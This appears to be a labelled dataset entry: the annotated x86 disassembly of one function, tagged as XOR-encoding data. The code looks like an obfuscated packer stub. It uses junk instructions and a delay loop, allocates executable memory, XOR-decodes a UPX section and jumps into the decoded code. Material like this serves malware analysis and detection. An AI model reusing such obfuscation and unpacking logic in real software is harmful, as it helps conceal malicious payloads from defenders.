Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x6a936c6a
sub esi, 0xcbd4b62f
add ebx, 0x3544e263
popal
sub ebx, 0x17ac84ed
dec ebx
add ebx, 1
mov ebx, 0
mov ecx, eax
mov edx, esi
add edx, 0x88b9f9d0
or esi, edx
mov edi, ecx
add edx, 0x65a76277
add esi, esi
mov eax, edi
or edx, esi
or edx, esi
add edx, esi
inc ebx
inc edx
sub edx, 0x8b81833a
sub edx, esi
cmp ebx, 0x100c3f7
jne 0xa789d1
and edx, edx
inc esi
sub esi, 0x44755fc7
mov ebx, 0xe0f00adb
mov esi, ebx
add esi, 0x85c10671
mov esi, 0xa78796
sub edx, ecx
or ebx, ecx
add ebx, 1
mov eax, 0xa7898a
sub ecx, ebx
mov ecx, edx
mov edi, dword [esi]
mov ecx, edx
mov edx, ecx
not edx
and edi, 0xff
or ebx, ecx
mov edx, 0xafca375d
mov edx, 0x45097f2a
xor dword [eax], edi
mov ebx, edx
add ebx, ecx
mov ecx, 0xad1d5c6
add eax, 1
not edx
mov ecx, ebx
add esi, 1
sub ebx, 0x5395e9e3
add edx, edx
cmp eax, entry0
jl 0xa78a33
sub edx, 0x166f94af
and ecx, ebx
add ebx, edx
add ebx, 0x1e5fbfd9
or ecx, ecx
add ebx, 0x5dba9e37
not esi
or edi, edi
add ecx, 1
mov ebx, 0xa7898e
not esi
sub ecx, edx
add edi, 0xfbc079d0
mov ebx, dword [ebx]
add edi, ecx
dec esi
mov ebx, dword [ebx]
sub edi, 0xe23d95d2
add esi, edx
dec esi
push ebx
add ecx, 0xa529cd2f
add edx, 0xa1c2c291
mov edx, esi
mov ebx, 0xa7898a
not ecx
add esi, ecx
mov ebx, dword [ebx]
add edi, 0x78bbb2c2
mov esi, ecx
mov ebx, dword [ebx]
or esi, esi
mov ecx, 0xaad9f94d
sub esp, 4
mov dword [esp], 0xa78992
mov ecx, 0x9efbfa4b
sub ecx, 0xc4e9aff2
mov esi, 0xb620dbf2
call ebx
sub esi, edx
sub edi, 0xb52867bf
pop ebx
add ecx, 0x81d3f66
dec edi
push 0xa7899f
mov edx, ecx
add edx, 0x36709edd
add ecx, 1
push eax
mov edx, ecx
dec edx
add esi, edi
call ebx
dec esi
not esi
push 0x40
and ecx, edi
and edi, ecx
push 0x3000
not ecx
not ecx
not edi
push 0x200000a3
or edx, edx
mov ecx, edx
push 0
add ecx, 0x509ea5c5
inc ecx
mov ecx, esi
call eax
add edi, 0x23e33968
mov edx, 0x74d58857
mov ecx, 0xffc647d8
add eax, 0x20000036
or esi, edi
add ecx, 0x93a00136
mov ebx, 0x968e5f5
add edi, 0x92fa4df0
add edi, 1
not esi
mov dword [eax], ebx
not esi
or edx, ecx
mov ebx, dword [eax]
add ecx, esi
or esi, edi
cmp ebx, 0x968e5f5
je 0xa78bab
mov eax, 0
mov ebx, dword [eax]
add ecx, edi
add ecx, ecx
add esi, 1
not ecx
not esi
sub esi, 0x3d7e3f4
add esi, esi
and esi, esi
add esi, esi
mov edx, section.UPX1
or esi, esi
mov esi, 0x872c6ca2
add ebx, 0x23353aff
mov eax, 0xa78795
not esi
mov ebx, esi
and esi, esi
mov edi, 0
add ebx, 1
sub ebx, esi
mov ecx, 0xa78796
dec ebx
mov esi, ebx
not ebx
lea ecx, [ecx + edi]
sub esi, ebx
add esi, esi
not ebx
mov ecx, dword [ecx]
mov ebx, 0xa75ac301
mov esi, ebx
and ecx, 0xff
dec esi
add ebx, ebx
inc edi
sub ebx, esi
not ebx
cmp edi, 0x1f4
jne 0xa78c26
mov edi, 0
and ebx, esi
sub esi, ebx
add esi, ebx
mov ebx, 0xee80c58c
sub ebx, esi
xor dword [edx], ecx
not esi
sub ebx, esi
sub esi, 0x5748ab79
add edx, 2
inc ebx
not esi
or ebx, esi
cmp edx, eax
jl 0xa78bef
add ebx, 0xe910c9e2
and esi, esi
and esi, ebx
sub esi, 0x1b3b470b
not esi
mov ebx, section.UPX1
or esi, esi
add ecx, ecx
add ecx, esi
mov edi, section.UPX1
add ecx, ecx
dec ecx
mov ecx, esi
mov eax, 0xa78795
sub esi, ecx
inc ecx
mov ecx, 0x3e5f7ab3
mov edx, 0
inc ecx
mov esi, 0xec169c8f
mov dl, byte [edi]
mov esi, ecx
not esi
sub ecx, esi
mov byte [ebx], dl
sub ecx, 0xe349d939
inc esi
and esi, esi
add ebx, 1
mov ecx, 0xa9a96f4
and ecx, ecx
mov ecx, 0xa9ebceb6
add edi, 2
mov ecx, 0x44ec8c3e
add ecx, 1
mov ecx, esi
cmp edi, eax
jle 0xa78c91
sub ecx, 0xd73a052b
mov ecx, esi
sub esi, 0xf021c6dd
add ebx, esi
not esi
and esi, ebx
push 0x8dc6a0
add esi, ebx
dec esi
ret